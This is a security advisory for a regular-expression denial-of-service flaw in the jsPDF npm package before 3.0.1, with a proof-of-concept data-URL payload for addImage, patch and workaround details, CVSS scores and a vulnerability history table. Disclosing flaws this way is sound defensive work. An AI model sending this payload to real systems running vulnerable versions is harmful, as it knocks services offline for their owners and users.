jsPDF Bypass Regular Expression Denial of Service (ReDoS)
Impact
User control of the first argument of the addImage method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: html, addSvgAsImage.
Example payload:
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
Workarounds
Sanitize image urls before passing it to the addImage method or one of the other affected methods.
Credits
Researcher: Aleksey Solovev (Positive Technologies)
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | jspdf | < 3.0.1 | 3.0.1 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-400, CWE-770- Platform
- npm
- Package
jspdf- Disclosed
- 18.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-w532-jxjh-hjhj - CC BY 4.0
Vulnerability history: jspdf
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 15
- First → latest
- 03.2021 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 9
- Medium 4
Disclosures per year
- 2021: 3
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 2
- 2026: 10
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